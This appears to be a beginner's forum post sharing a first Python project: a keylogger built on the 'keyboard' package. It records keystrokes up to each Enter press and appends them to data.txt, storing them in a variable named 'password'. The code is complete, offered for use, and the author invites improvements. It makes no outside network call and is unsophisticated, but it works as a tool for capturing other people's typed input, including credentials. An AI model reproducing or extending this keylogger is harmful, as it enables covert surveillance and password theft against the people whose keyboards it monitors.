My First Python Project.

Here’s a simple keylogger I created that logs all keyboard inputs and saves them to a file named Data.txt.

I'm open to any suggestions for improving the code, as this is my first project I’m sharing. Feel free to recommend any modifications or tweaks.

To run the program, you’ll need to install the "keyboard" package first by using the command: pip install keyboard.

keylogger.py:

# Importing the keyboard module which will acess the inputs from the keyboard

import keyboard

# Defining the text file name and path

path = "data.txt"

while True:

with open(path, 'a') as data_file:

# All key presses are recorded as a list into "events" and the record loop stops when the "enter" key is pressed

events = keyboard.record('enter')

password = list(keyboard.get_typed_strings(events))

data_file.write('\n') # New line written before data is written

data_file.write(password[0])